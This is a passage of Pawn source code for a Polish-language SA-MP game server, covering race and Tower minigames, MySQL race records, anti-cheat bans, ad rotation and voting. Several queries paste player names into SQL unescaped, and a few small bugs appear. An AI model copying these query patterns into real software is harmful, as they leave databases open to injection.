  6218.                 }
  6219.                 UpdateFunTextDraw();
  6220.                 return 1;
  6221.         }
  6222.         if(pInFun[playerid] == 1 && TW_Trwa == 1 && GetPVarInt(playerid, "pZapisanyTW") == 1 && TW_Checkpoint == checkpointid)
  6223.         {
  6224.             if((GetTickCount() - TW_Tick) < 45000)
  6225.             {
  6226.                 BanPlayer(playerid, "Anty Cheat", "AirBreak na TW");
  6227.                 return 1;
  6228.             }
  6229.  
  6230.                 KillTimer(TW_Timer);
  6231.  
  6232.                 TW_Trwa = 0;
  6233.                 TW_Timer = -1;
  6234.                 TW_Zapisanych = 0;
  6235.                 TW_Odliczanie = -1;
  6236.  
  6237.                 GivePlayerScore(playerid, 20);
  6238.                 GivePlayerMoney(playerid, 10000);
  6239.  
  6240.                 format(strx, sizeof strx, ""C_O"Gracz "C_B"%s"C_O" wygrał Tower! "C_B"20"C_O"exp +"C_B" 20000$", pName[playerid]);
  6241.                 format(bstrx, sizeof bstrx, "UPDATE `players` SET `won_tr` = `won_tr` + 1 WHERE `nick` = '%s'", pName[playerid]);
  6242.                 mysql_query(bstrx);
  6243.                 pLoop(i)
  6244.                 {
  6245.                         if(IsPlayerConnected(i) == 1 && GetPVarInt(i, "pZapisanyTW") == 1 && pInFun[i] == 1)
  6246.                         {
  6247.                                 SetPVarInt(i, "pZapisanyTW", 0);
  6248.                                 pInFun[i] = 0;
  6249.                                 Odstaw(i);
  6250.                                 SCM(i, 0x00AAFFFF, strx);
  6251.                                 DisablePlayerCheckpoint(i);
  6252.                         }
  6253.                 }
  6254.                 UpdateFunTextDraw();
  6255.                 return 1;
  6256.         }
  6257.         return 1;
  6258. }
  6259.  
  6260. forward CountdownRace(playerid, time);
  6261. public CountdownRace(playerid, time)
  6262. {
  6263.         if(time != -1)
  6264.         {
  6265.         TogglePlayerControllable(playerid, 0);
  6266.         if(time == 0) TogglePlayerControllable(playerid, 1);
  6267.     }
  6268.  
  6269.         if(time >= 0)
  6270.         {
  6271.                 TD_Show(playerid, CountRace[time]);
  6272.                 if(time < 5) TD_Hide(playerid, CountRace[time + 1]);
  6273.         }else TD_Hide(playerid, CountRace[0]);
  6274.  
  6275.         if(time > 0)
  6276.         {
  6277.                 PlayerPlaySound(playerid,1056,0.0,0.0,0.0);
  6278.         } else if(time != -1) PlayerPlaySound(playerid,1057,0.0,0.0,0.0);
  6279.  
  6280.         if(time > -1) SetTimerEx("CountdownRace", 1000, 0, "dd", playerid, time - 1);
  6281.         return 1;
  6282. }
  6283. public OnPlayerEnterRaceCheckpoint(playerid)
  6284. {
  6285.         if(!IsPlayerInAnyVehicle(playerid)) return 0;
  6286.  
  6287.     PlayerPlaySound(playerid,1056,0.0,0.0,0.0);
  6288.  
  6289.         if(GetPVarInt(playerid, "RacePlayer") == 1)
  6290.         {
  6291.             new i = GetPVarInt(playerid, "eRaceID");
  6292.  
  6293.             if(GetPVarInt(playerid, "RaceCP") <= RaceInfo[i][Rall_cp])
  6294.             {
  6295.                     new mstr[120],row2[120];
  6296.                     new idt,race_id,size2,typ2,Float:x,Float:y,Float:z,size,typ, Float:x2,Float:y2,Float:z2;
  6297.  
  6298.                         format(mstr, 120, "SELECT * FROM `race_cp` WHERE `race_id` = '%d' ORDER BY `id` ASC", RaceInfo[i][Rid]);
  6299.                         mysql_query(mstr);
  6300.                         mysql_store_result();
  6301.                         new count=1;
  6302.                         while(mysql_fetch_row(mstr, "|"))
  6303.                         {
  6304.                             if(count == GetPVarInt(playerid, "RaceCP"))
  6305.                             {
  6306.                                 sscanf(mstr, "p<|>iifffii", idt,race_id,x,y,z,size,typ);
  6307.                                 mysql_fetch_row(row2, "|");
  6308.                                 sscanf(row2, "p<|>iifffii", idt,race_id,x2,y2,z2,size2,typ2);
  6309.                                 break;
  6310.                             }
  6311.                                 count++;
  6312.                         }
  6313.                         mysql_free_result();
  6314.  
  6315.                     SetPlayerRaceCheckpoint(playerid, typ, x,y,z,x2,y2,z2, size);
  6316.                     new m = floatround((GetTickCount() - GetPVarInt(playerid, "RaceTick"))/1000), h;
  6317.                         while (m >= 60)
  6318.                         {
  6319.                                 h++;
  6320.                                 m -= 60;
  6321.                         }
  6322.                     format(mstr, 120, "%d:%02d~n~_~n~~r~~h~~h~%d/%d", h, m, GetPVarInt(playerid, "RaceCP"), RaceInfo[i][Rall_cp]);
  6323.                     ShowGameDraw(playerid, mstr, 2000);
  6324.  
  6325.                     SetPVarInt(playerid, "RaceCP", GetPVarInt(playerid, "RaceCP") + 1);
  6326.             }
  6327.             else
  6328.             {
  6329.                 KillTimer(GetPVarInt(playerid, "RaceTimer"));
  6330.                 ExitRace(playerid, 1);
  6331.                         return 1;
  6332.             }
  6333.             KillTimer(GetPVarInt(playerid, "RaceTimer"));
  6334.                 SetPVarInt(playerid, "RaceTimer", SetTimerEx("ExitRace", 30000, 0, "dd", playerid, 0));
  6335.             return 1;
  6336.         }
  6337.         return 1;
  6338. }
  6339. forward ExitRace(playerid, won);
  6340. public ExitRace(playerid, won)
  6341. {
  6342.         if(GetPVarInt(playerid, "RacePlayer") == 0) return 1;
  6343.  
  6344.         if(IsPlayerInAnyVehicle(playerid))
  6345.         {
  6346.             SetVehicleToRespawn(GetPlayerVehicleID(playerid));
  6347.         }
  6348.         SetPlayerVirtualWorld(playerid, 0);
  6349.         DisablePlayerRaceCheckpoint(playerid);
  6350.         SetPVarInt(playerid, "LastRace", GetPVarInt(playerid, "eRaceID") + 1);
  6351.         SetPVarInt(playerid, "RacePlayer", 0);
  6352.  
  6353.     if(won == 2) SetPVarInt(playerid, "LastRace", 0);
  6354.  
  6355.         if(won == 1)
  6356.         {
  6357.             SetPVarInt(playerid, "LastRace", 0);
  6358.             new mstr[150];
  6359.             GivePlayerMoney(playerid, 10000);
  6360.             GivePlayerScore(playerid, 5);
  6361.  
  6362.             new time = floatround((GetTickCount() - GetPVarInt(playerid, "RaceTick"))/1000), h, m, pos;
  6363.                 m = time;
  6364.                 while (m >= 60)
  6365.                 {
  6366.                         h++;
  6367.                         m -= 60;
  6368.                 }
  6369.                 new prekord[12];
  6370.                 format(mstr, 150, "SELECT `time` FROM `race_record` WHERE `race_id` = '%d' AND `nick` = '%s'", RaceInfo[GetPVarInt(playerid, "eRaceID")][Rid], pName[playerid]);
  6371.                 mysql_query(mstr);
  6372.                 mysql_store_result();
  6373.                 mysql_fetch_field("time", prekord);
  6374.                 mysql_free_result();
  6375.  
  6376.                 new rekord = strval(prekord);
  6377.  
  6378.                 if(time < rekord || rekord == 0)
  6379.                 {
  6380.                         format(mstr, 150, "DELETE FROM `race_record` WHERE `race_id` = '%d' AND `nick` = '%s'", RaceInfo[GetPVarInt(playerid, "eRaceID")][Rid], pName[playerid]);
  6381.             mysql_query(mstr);
  6382.                         format(mstr, 150, "INSERT INTO `race_record` (`nick`,`race_id`,`time`) VALUES ('%s', '%d', '%d');", pName[playerid], RaceInfo[GetPVarInt(playerid, "eRaceID")][Rid], time);
  6383.                         mysql_query(mstr);
  6384.                 }
  6385.  
  6386.                 format(mstr, 150, "SELECT `nick` FROM `race_record` WHERE `race_id` = '%d'", RaceInfo[GetPVarInt(playerid, "eRaceID")][Rid]);
  6387.                 mysql_query(mstr);
  6388.                 mysql_store_result();
  6389.                 while(mysql_fetch_row(mstr))
  6390.                 {
  6391.                         pos++;
  6392.                         if(!strcmp(mstr, pName[playerid]))
  6393.                         {
  6394.                             break;
  6395.                         }
  6396.  
  6397.                 }
  6398.                 mysql_free_result();
  6399.  
  6400.                 if(time < rekord || rekord == 0)
  6401.                 {
  6402.                         format(strx, sizeof strx, ""C_O"Wygrałeś wyścig \"%s\"!\n"C_B"Pobiłeś swój rekord tej trasy!"C_O"\n\nTwoja nagroda: "C_B"10.000$ + 5exp\n"C_O"Twój czas to: "C_B"%d:%02d\n\n", RaceInfo[GetPVarInt(playerid, "eRaceID")][Rname],h,m);
  6403.                         format(strx, sizeof strx, "%s"C_O"Twoja pozycja na tej trasie: "C_B"%d", strx, pos);
  6404.                 }
  6405.                 else
  6406.                 {
  6407.                         new rh, rm;
  6408.                         rm = rekord;
  6409.                         while (rm >= 60)
  6410.                         {
  6411.                                 rh++;
  6412.                                 rm -= 60;
  6413.                         }
  6414.                         format(strx, sizeof strx, ""C_O"Wygrałeś wyścig \"%s\"!\n"C_B"Niestety, nie pobiłeś swojego rekordu!"C_O"\n\nTwoja nagroda: "C_B"10.000$ + 5exp\n\n"C_O"Twój rekord: "C_B"%d:%02d\n"C_O"Twój czas to: "C_B"%d:%02d\n\n", RaceInfo[GetPVarInt(playerid, "eRaceID")][Rname],rh,rm,h,m);
  6415.                         format(strx, sizeof strx, "%s"C_O"Twoja pozycja na tej trasie: "C_B"%d", strx, pos);
  6416.                 }
  6417.  
  6418.                 InfoBox(playerid, strx);
  6419.  
  6420.                 mysql_query("UPDATE `stats` SET `value` = `value` + 1 WHERE `name` = 'winrace'");
  6421.         }
  6422.         else if(won == 0)
  6423.         {
  6424.                 Dialog(playerid, 568, DIALOG_BOX, ""C_O"Przegrałeś!!!\n\nCzas na dojechanie do kolejnego punktu kontrolnego minął lub zniszczyłeś pojazd!", "Powtórz", "Wyjdź");
  6425.         }
  6426.         pInFun[playerid] = 0;
  6427.         return 1;
  6428. }
  6429.  
  6430.  
  6431.  
  6432.  
  6433.  
  6434. ReadInteriorInfo( fileName[] )
  6435. {
  6436.         new File:file_ptr,  buf[256], tmp[64], idx, uniqId;
  6437.  
  6438.         file_ptr = fopen( fileName, io_read );
  6439.         if( file_ptr ){
  6440.                 while( fread( file_ptr, buf, 256 ) > 0){
  6441.                     idx = 0;
  6442.  
  6443.                 idx = token_by_delim( buf, tmp, ' ', idx );
  6444.                         if(idx == (-1)) continue;
  6445.                         uniqId = strval( tmp );
  6446.  
  6447.                         if( uniqId >= MAX_INTERIORS ) return 0;
  6448.  
  6449.                         idx = token_by_delim( buf, tmp, ' ', idx+1 );
  6450.                     if(idx == (-1)) continue;
  6451.                         interiorInfo[uniqId][inIntID] = strval( tmp );
  6452.  
  6453.                         idx = token_by_delim( buf, tmp, ' ', idx+1 );
  6454.                     if(idx == (-1)) continue;
  6455.                         interiorInfo[uniqId][inExitX] = floatstr( tmp );
  6456.  
  6457.                         idx = token_by_delim( buf, tmp, ' ', idx+1 );
  6458.                     if(idx == (-1)) continue;
  6459.                         interiorInfo[uniqId][inExitY] = floatstr( tmp );
  6460.  
  6461.                         idx = token_by_delim( buf, tmp, ' ', idx+1);
  6462.                     if(idx == (-1)) continue;
  6463.                         interiorInfo[uniqId][inExitZ] = floatstr( tmp );
  6464.  
  6465.                         idx = token_by_delim( buf, tmp, ' ', idx+1 );
  6466.                     if(idx == (-1)) continue;
  6467.                         interiorInfo[uniqId][inExitA] = floatstr( tmp );
  6468.  
  6469.                         idx = token_by_delim( buf, interiorInfo[uniqId][inName], ';', idx+1 );
  6470.                     if(idx == (-1)) continue;
  6471.  
  6472.                 }
  6473.                 fclose( file_ptr );
  6474.                 return 1;
  6475.         }
  6476.         return 0;
  6477. }
  6478.  
  6479. ReadPropertyFile( fileName[] )
  6480. {
  6481.         new  File:file_ptr,tmp[128],buf[256],idx,Float:enX,Float:enY,Float:enZ,Float:enA,uniqIntId,pIcon;
  6482.  
  6483.         file_ptr = fopen( fileName, io_read );
  6484.  
  6485.         if(!file_ptr )return 0;
  6486.  
  6487.         while( fread( file_ptr, buf, 256 ) > 0){
  6488.             idx = 0;
  6489.  
  6490.             idx = token_by_delim( buf, tmp, ',', idx );
  6491.                 if(idx == (-1)) continue;
  6492.                 pIcon = strval( tmp );
  6493.  
  6494.             idx = token_by_delim( buf, tmp, ',', idx+1 );
  6495.                 if(idx == (-1)) continue;
  6496.                 enX = floatstr( tmp );
  6497.  
  6498.                 idx = token_by_delim( buf, tmp, ',', idx+1 );
  6499.                 if(idx == (-1)) continue;
  6500.                 enY = floatstr( tmp );
  6501.  
  6502.                 idx = token_by_delim( buf, tmp, ',', idx+1 );
  6503.                 if(idx == (-1)) continue;
  6504.                 enZ = floatstr( tmp );
  6505.  
  6506.                 idx = token_by_delim( buf, tmp, ',', idx+1 );
  6507.                 if(idx == (-1)) continue;
  6508.                 enA = floatstr( tmp );
  6509.  
  6510.                 idx = token_by_delim( buf, tmp, ';', idx+1 );
  6511.                 if(idx == (-1)) continue;
  6512.                 uniqIntId = strval( tmp );
  6513.  
  6514.                 CreateProperty( uniqIntId, pIcon, enX, enY, enZ, enA);
  6515.         }
  6516.         fclose( file_ptr );
  6517.         return 1;
  6518. }
  6519.  
  6520. CreateProperty( uniqIntId, iconId,  Float:entX, Float:entY, Float:entZ, Float:entA, name[64]="", owner=-1, price=0 )
  6521. {
  6522.         if( (unid+1) < MAX_PROPERTIES ){
  6523.                 new I_d = CreatePickup( iconId ,23, entX, entY, entZ + 0.3, 0 );
  6524.                 propPickups[I_d] = unid;
  6525.                 properties[unid][eEntX]         = entX;
  6526.                 properties[unid][eEntY]         = entY;
  6527.                 properties[unid][eEntZ]         = entZ;
  6528.                 properties[unid][eEntA]         = entA;
  6529.                 properties[unid][eUniqIntId] = uniqIntId;
  6530.                 properties[unid][eOwner]        = owner;
  6531.                 properties[unid][ePrice]        = price;
  6532.                 format( properties[unid][ePname], 64, "%s", name );
  6533.  
  6534.                 return unid++;
  6535.         }
  6536.         return -1;
  6537. }
  6538.  
  6539. stock CountIP(ip[])
  6540. {
  6541.         new c = 0;
  6542.         for(new i = 0; i < MAX_PLAYERS; i++) if(IsPlayerConnected(i) && !strcmp(GetIP(i),ip)) c++;
  6543.         return c;
  6544. }
  6545. stock GetHighestID(exceptof = INVALID_PLAYER_ID)
  6546. {
  6547.         new h = 0;
  6548.         for(new i = 0; i < MAX_PLAYERS; i++) if(IsPlayerConnected(i) && i != exceptof && i > h) h = i;
  6549.         return h;
  6550. }
  6551. forward god();
  6552. public god()
  6553. {
  6554.    new Float:hp;
  6555.    for(new i; i < 200; i++)
  6556.    {
  6557.       if(GetPlayerHealth(i, hp) > 100.1) return BanPlayer(i, "Anty Cheat", "God");
  6558.    }
  6559.    return 1;
  6560. }
  6561. forward antifakekill2(playerid);
  6562. public antifakekill2(playerid)
  6563. {
  6564.     antifakekill[playerid] --;
  6565.     if(antifakekill[playerid] > 5)
  6566.     {
  6567.         BanPlayer(playerid, "Anty Cheat", "Fake Kill");
  6568.     }
  6569.     return 1;
  6570. }
  6571. SoundForAll(sound)
  6572. {
  6573.         for(new i = 0; i < MAX_PLAYERS; i ++)
  6574.                 if (IsPlayerConnected(i))
  6575.         PlayerPlaySound(i,sound,0.0,0.0,0.0);
  6576. }
  6577. AntiFlood_Check( playerid, bool:inc=true )
  6578. {
  6579.         AntiFlood_Data[playerid][floodRate] += inc ? RATE_INC : 0;
  6580.         AntiFlood_Data[playerid][floodRate] = AntiFlood_Data[playerid][floodRate] - ( GetTickCount() - AntiFlood_Data[playerid][lastCheck] );
  6581.         AntiFlood_Data[playerid][lastCheck] = GetTickCount();
  6582.         AntiFlood_Data[playerid][floodRate] = AntiFlood_Data[playerid][floodRate] < 0 ? 0 : AntiFlood_Data[playerid][floodRate];
  6583.  
  6584.         if ( AntiFlood_Data[playerid][floodRate] >= RATE_MAX )
  6585.         {
  6586.                 #if THRESOLD_ACTION == 1
  6587.                         new name[MAX_PLAYER_NAME];
  6588.                         GetPlayerName( playerid, name, sizeof( name ) );
  6589.                         BanPlayer(playerid, "System", "Flood");
  6590.                 #elseif THRESOLD_ACTION == 2
  6591.                                                 new name[MAX_PLAYER_NAME];
  6592.                         GetPlayerName( playerid, name, sizeof( name ) );
  6593.                         KickPlayer(i, "System", "Flood.");
  6594.                 #else
  6595.                         SCM( playerid, 0xC00000FF, "Zaprzestań floodingu." );
  6596.                 #endif
  6597.  
  6598.                 return false;
  6599.         }
  6600.  
  6601.         return true;
  6602. }
  6603.  
  6604. AntiFlood_InitPlayer( playerid )
  6605. {
  6606.         AntiFlood_Data[playerid][lastCheck] = GetTickCount();
  6607.         AntiFlood_Data[playerid][floodRate] = 0;
  6608. }
  6609. forward reklama(playerid);
  6610. public reklama(playerid)
  6611. {
  6612.     if(polecamy >= sizeof(reklamaTD)) polecamy = 0;
  6613.     TextDrawSetString(Reklama,reklamaTD[polecamy]);
  6614.  
  6615.     polecamy++;
  6616.         return 1;
  6617. }
  6618. new reklamy_wiadomosc[][] = {
  6619.         ""C_O"Widzisz czitera? Zgłoś go administracji wpisując "C_B"/Report [id] [powod]"C_O"!",
  6620.         ""C_O"Zapraszamy do rejestracji na naszym forum! "C_B"TOP.xaa.pl"C_B"!",
  6621.         ""C_O"Chcesz, aby serwer był popularny i znany? "C_B"Zapraszaj znajomych"C_O"!",
  6622.         ""C_O"Odkryłeś błąd w mapie ("C_B"ptsDM"C_O") zgłoś go na forum "C_B"TOP.xaa.pl "C_O"lub wpisz "C_B"/Bug"C_O"!",
  6623.         ""C_O"Nie znasz komend? Wpisz "C_B"/CMD"C_B"!",
  6624.         ""C_O"Chcesz zakupić "C_B"prywatny pojazd"C_O"? Wpisz "C_B"/Privcar"C_O"!",
  6625.         ""C_O"Chcesz mieć przywileje na serwerze? Zakup konto "C_B"VIP "C_O"Wpisując "C_B"/VIP"C_B"!",
  6626.         ""C_O"Masz jakieś "C_B"pytanie "C_O"do administracij? Wpisz "C_B"/pytaie"C_B"!",
  6627.         ""C_O"Wszystkie "C_B"teleporty "C_O"znajdziesz pod "C_B"/teles"C_B"!",
  6628.         ""C_O"Miłej gry życzy "C_B"adminstracja Polskiego TOP Serwera"C_O"!"
  6629. };
  6630. forward piecmin(playerid);
  6631. public piecmin(playerid)
  6632. {
  6633.     SCMToAll(-1, reklamy_wiadomosc[random(sizeof(reklamy_wiadomosc))]);
  6634. }
  6635. forward dwieminuty(playerid);
  6636. public dwieminuty(playerid)
  6637. {
  6638.     if(fucions >= sizeof(fucionstd)) fucions = 0;
  6639.     TextDrawSetString(TDPolecamy,fucionstd[fucions]);
  6640.  
  6641.     fucions++;
  6642.         return 1;
  6643. }
  6644. forward playersarena(playerid);
  6645. public playersarena(playerid)
  6646. {
  6647.    new playeronl[1000];
  6648.    format(playeronl, sizeof(playeronl), "/Minigun___~w~(~r~%d~w~)", Server[minigunPlayers]);
  6649.    TextDrawSetString(TDArenki[0], playeronl);
  6650.    format(playeronl, sizeof(playeronl), "/Oneshoot___~w~(~r~%d~w~)", Server[oneshootPlayers]);
  6651.    TextDrawSetString(TDArenki[1], playeronl);
  6652.    format(playeronl, sizeof(playeronl), "/Rpg___~w~(~r~%d~w~)", Server[rpgPlayers]);
  6653.    TextDrawSetString(TDArenki[2], playeronl);
  6654.    format(playeronl, sizeof(playeronl), "/Jetpack___~w~(~r~%d~w~)", Server[jetpackPlayers]);
  6655.    TextDrawSetString(TDArenki[3], playeronl);
  6656.    format(playeronl, sizeof(playeronl), "/Snajper___~w~(~r~%d~w~)", Server[sniperPlayers]);
  6657.    TextDrawSetString(TDArenki[4], playeronl);
  6658. }
  6659.  
  6660. forward ResetCount(playerid);
  6661. public ResetCount(playerid)
  6662. {
  6663.         SetPVarInt(playerid, "TextSpamCount", 0);
  6664. }
  6665. forward CheckOnline();
  6666. public CheckOnline()
  6667. {
  6668.     Admins_Online = 0;
  6669.     Vips_Online = 0;
  6670.     Players_Online = 0;
  6671.     for(new x=0; x < MAX_PLAYERS; x++)
  6672.     {
  6673.         if(IsPlayerConnected(x))
  6674.         {
  6675.             Players_Online++;
  6676.  
  6677.             if(Administrator[x])
  6678.             {
  6679.                  Admins_Online++;
  6680.             }
  6681.  
  6682.             if(Vip[x])
  6683.             {
  6684.                 Vips_Online++;
  6685.             }
  6686.         }
  6687.     }
  6688.     return 1;
  6689. }
  6690.  
  6691. forward Premia(playerid);
  6692. public Premia(playerid)
  6693. {
  6694.         GivePlayerScore(playerid, 10);
  6695.         GivePlayerMoney(playerid, 750);
  6696.         SCM(playerid, 0xFF9900ff,""C_O"|Premia| Dostałeś Premię: "C_B"10 "C_O"exp i $"C_B"750"C_O"!");
  6697. }
  6698. stock VehicleIsTir(vehicleid)
  6699. {
  6700.         switch(vehicleid)
  6701.         {
  6702.                 case 403,514,515:return 1;
  6703.         }
  6704.         return 0;
  6705. }
  6706.  
  6707. forward UpdateData();
  6708. public UpdateData()
  6709. {
  6710.         new Rok, Miesiac, Dzien;
  6711.         getdate(Rok, Miesiac, Dzien);
  6712.  
  6713.         new string[1000];
  6714.         format(string, sizeof string, "~g~%02d~r~:~g~%02d~r~:~g~%02d", Rok, Miesiac, Dzien);
  6715.         TextDrawSetString(DataDraw, string);
  6716.         return 1;
  6717. }
  6718.  
  6719. forward IsPlayerInArea(playerid, Float:minx, Float:miny, Float:maxx, Float:maxy);
  6720. public IsPlayerInArea(playerid, Float:minx, Float:miny, Float:maxx, Float:maxy)
  6721. {
  6722.     new Float:X, Float:Y, Float:Z;
  6723.     GetPlayerPos(playerid, X, Y, Z);
  6724.     if(X >= minx && X <= maxx && Y >= miny && Y <= maxy)
  6725.         {
  6726.         return 1;
  6727.     }
  6728.     return 0;
  6729. }
  6730.  
  6731. stock GetWeaponSlot(weaponid)
  6732. {
  6733.     new slot;
  6734.     switch(weaponid)
  6735.     {
  6736.         case 0,1: slot = 0;
  6737.         case 2 .. 9: slot = 1;
  6738.         case 10 .. 15: slot = 10;
  6739.         case 16 .. 18, 39: slot = 8;
  6740.         case 22 .. 24: slot =2;
  6741.         case 25 .. 27: slot = 3;
  6742.         case 28, 29, 32: slot = 4;
  6743.         case 30, 31: slot = 5;
  6744.         case 33, 34: slot = 6;
  6745.         case 35 .. 38: slot = 7;
  6746.         case 40: slot = 12;
  6747.         case 41 .. 43: slot = 9;
  6748.         case 44 .. 46: slot = 11;
  6749.     }
  6750.     return slot;
  6751. }
  6752.  
  6753. stock ResetPlayerWeapons2(playerid,...) //By Terminator3
  6754. {
  6755.         new weapons[13][2],
  6756.                 arweapon = GetPlayerWeapon(playerid);
  6757.         for(new SL; SL < 13; SL++)
  6758.         {
  6759.                 GetPlayerWeaponData(playerid, SL, weapons[SL][0], weapons[SL][1]);
  6760.         }
  6761.         if(numargs() <= 1)
  6762.                 return 0;
  6763.         new ID;
  6764.         for(new z = 1; z < numargs(); z++)
  6765.         {
  6766.             ID = getarg(z,0);
  6767.  
  6768.             if(weapons[GetWeaponSlot(ID)][0] == ID)
  6769.                         weapons[GetWeaponSlot(ID)][0] = 0;
  6770.         }
  6771.         ResetPlayerWeapons(playerid);
  6772.         for(new SL; SL < 13; SL++)
  6773.         {
  6774.             if(weapons[SL][0] == 0)
  6775.                         continue;
  6776.             GivePlayerWeapon(playerid, weapons[SL][0], weapons[SL][1]);
  6777.         }
  6778.         if(weapons[GetWeaponSlot(arweapon)][0] == 0)
  6779.                 SetPlayerArmedWeapon(playerid,0);
  6780.         else
  6781.                 SetPlayerArmedWeapon(playerid, arweapon);
  6782.         return 1;
  6783. }
  6784.  
  6785. forward UpdateHealth(playerid);
  6786. public UpdateHealth(playerid)
  6787. {
  6788.         foreach(Player, i)
  6789.         {
  6790.         if(IsPlayerInArea(i, -11.67788, 1681.614, 432.0814, 2172.085))
  6791.                 {
  6792.                         TD_Show(i, StrefaDM);
  6793.                         GangZoneFlashForPlayer(i, WojskoZone, 0xFF000080);
  6794.                         SetPlayerMapIcon(i, 6, 358.9494, 1880.3906, 17.7049, 6, 0, MAPICON_LOCAL);
  6795.                         SetPVarInt(i, "Wojskowy", 1);
  6796.                 }
  6797.                 else
  6798.                 {
  6799.                         if(GetPVarInt(i, "Wojskowy") == 1)
  6800.                         {
  6801.                         ResetPlayerWeapons2(i, 38, 37, 35, 36, 39, 40);
  6802.                         SetPVarInt(i, "Wojskowy", 0);
  6803.                         GangZoneStopFlashForPlayer(i, WojskoZone);
  6804.                         TD_Hide(i, StrefaDM);
  6805.                         }
  6806.                 }
  6807.             new string[5];
  6808.             GetPlayerHealth(i, pHealth[i]);
  6809.         GetPlayerArmour(i, pArmour[i]);
  6810.         format(string, sizeof string, "%.0f%", pHealth[i]);
  6811.         TextDrawSetString(Zycie_TD[i], string);
  6812.         TextDrawShowForPlayer(playerid, Zycie_TD[i]);
  6813.         format(string, sizeof string, "%.0f%", pArmour[i]);
  6814.         TextDrawSetString(Armor_TD[i], string);
  6815.         if(pArmour[i] == 0) TextDrawHideForPlayer(playerid, Armor_TD[i]);
  6816.         else TextDrawShowForPlayer(playerid, Armor_TD[i]);
  6817.  
  6818.         }
  6819.         return 1;
  6820. }
  6821.  
  6822. forward LogoColor(playerid);
  6823. public LogoColor(playerid)
  6824. {
  6825.  
  6826.         ColorTranslateCD ++;
  6827.         if(ColorTranslateCD >= sizeof(ColorTranslate)) ColorTranslateCD = 0;
  6828.  
  6829.         TextDrawColor(Logo,ColorTranslate[ColorTranslateCD]);
  6830.  
  6831.         foreach(Player, x)
  6832.         {
  6833.                 if(TytulChce[x] && IsPlayerConnected(x)){
  6834.                         TextDrawShowForPlayer(x,Logo);
  6835.                 }
  6836.         }
  6837.  
  6838.         return 1;
  6839. }
  6840.  
  6841. forward StartVote(pytanie_glosowania[]);
  6842. public StartVote(pytanie_glosowania[])
  6843. {
  6844.         mVote[vOdliczanka] --;
  6845.  
  6846.  
  6847.         if(mVote[vOdliczanka] <= 0)
  6848.         {
  6849.                 KillTimer(mVote[TimerGlosowanie]);
  6850.  
  6851.                 if(mVote[glos][0] > mVote[glos][1])
  6852.                 {
  6853.                         format(mVote[votebuffer], 155, "~g~Glosowanie!~n~~w~%s~n~~g~Tak! ~w~%d glosow", pytanie_glosowania, mVote[glos][0]);
  6854.                 } else if(mVote[glos][0] < mVote[glos][1]) {
  6855.                     format(mVote[votebuffer], 155, "~g~Glosowanie!~n~~w~%s~n~~r~Nie! ~w~%d glosow", pytanie_glosowania, mVote[glos][1]);
  6856.                 } else if(mVote[glos][0] == mVote[glos][1]) {
  6857.                     format(mVote[votebuffer], 155, "~g~Glosowanie!~n~~w~%s~n~~p~Remis! ~w~%d glosow razem", pytanie_glosowania, mVote[glos][0] + mVote[glos][1]);
  6858.                 }
  6859.  
  6860.                 for(new x, g = GetMaxPlayers(); x != g; x++)
  6861.                 {
  6862.                     if(!IsPlayerConnected(x)) continue;
  6863.  
  6864.                     SetPVarInt(x, "Glosowal", 0);
  6865.                 }
  6866.  
  6867.                 SetTimer("ZamknijTD", 5000, false);
  6868.                 mVote[vOdliczanka] = 0;
  6869.         } else {
  6870.                 format(mVote[votebuffer], 155, "~g~Glosowanie!~n~~w~%s~n~~g~/Tak: ~w~%d~p~ | | ~r~/Nie: ~w~%d~n~~w~Koniec pytania za ~r~~h~%d sek", pytanie_glosowania, mVote[glos][0], mVote[glos][1], mVote[vOdliczanka]);
  6871.         }
  6872.  
  6873.         TextDrawSetString(mVote[TDVote][0], mVote[votebuffer]);
  6874.         return 1;
  6875. }
  6876. forward PW_Hide(playerid);
  6877. public PW_Hide(playerid)
  6878. {
  6879.         TD_Hide(playerid, PW[0]);
  6880.         TD_Hide(playerid, PW[1]);
  6881. }
  6882. forward ZamknijTD();
  6883. public ZamknijTD()
  6884. {
  6885.         for(new x, l = 2; x != l; x++)
  6886.                 TextDrawHideForAll(mVote[TDVote][x]);
  6887.  
  6888.         return 1;
  6889. }
  6890.  
  6891. forward TD_Naprawa_TD_Czekaj_Hide(playerid);
  6892. public TD_Naprawa_TD_Czekaj_Hide(playerid)
  6893. {
  6894.         TD_Hide(playerid, Naprawa_TD[0]);
  6895.         TD_Hide(playerid, Naprawa_TD[1]);
  6896. }
  6897.  
  6898. forward TD_Naprawa_TD_Hide(playerid);
  6899. public TD_Naprawa_TD_Hide(playerid)
  6900. {
  6901.         TD_Hide(playerid, Naprawa_TD[0]);
  6902.         TD_Hide(playerid, Naprawa_TD[1]);
  6903. }
  6904.  
  6905. GetPlayerFPS(playerid)
  6906. {
  6907.     SetPVarInt(playerid, "DrunkL", GetPlayerDrunkLevel(playerid));
  6908.     if(GetPVarInt(playerid, "DrunkL") < 100) SetPlayerDrunkLevel(playerid, 2000);
  6909.     else {
  6910.         if(GetPVarInt(playerid, "LDrunkL") != GetPVarInt(playerid, "DrunkL")) {
  6911.             SetPVarInt(playerid, "FPS", (GetPVarInt(playerid, "LDrunkL") - GetPVarInt(playerid, "DrunkL")));
  6912.             SetPVarInt(playerid, "LDrunkL", GetPVarInt(playerid, "DrunkL"));
  6913.             if((GetPVarInt(playerid, "FPS") > 0) && (GetPVarInt(playerid, "FPS") < 256)) {
  6914.                 return GetPVarInt(playerid, "FPS") - 1;
  6915.             }
  6916.         }
  6917.     }
  6918.     return 1;
  6919. }
  6920.  
  6921. forward Staty();
  6922. public Staty()
  6923. {
  6924.         new string[256];
  6925.         foreach(Player, i)
  6926.         {
  6927.                 p_Secounds[i]++;
  6928.                 if(p_Secounds[i] >= 60)
  6929.                 {
  6930.                         p_Secounds[i] = 0;
  6931.                         p_Minutes[i]++;
  6932.                         if(p_Minutes[i] >= 60)
  6933.                         {
  6934.                                 p_Minutes[i] = 0;
  6935.                                 p_Hours[i]++;
  6936.                         }
  6937.                 }
  6938.         }
  6939.         foreach(Player, i)
  6940.         {
  6941.                 if(IsPlayerConnected(i))
  6942.                 {
  6943.                         format(string, sizeof(string), "(~y~%d~w~)%s", (i), pName[i]);
  6944.                         TextDrawSetString(TD_Nick[i], string);
  6945.                         format(string, sizeof(string), "%d", GetPlayerScore(i));
  6946.                         TextDrawSetString(TD_Exp[i], string);
  6947.                         format(string, sizeof(string), "%d", GetPlayerLevel(i));
  6948.                         TextDrawSetString(TD_Level[i], string);
  6949.                         format(string, sizeof(string), "%d godz %d min %d sek", p_Hours[i], p_Minutes[i], p_Secounds[i]);
  6950.                         TextDrawSetString(TD_Online[i], string);
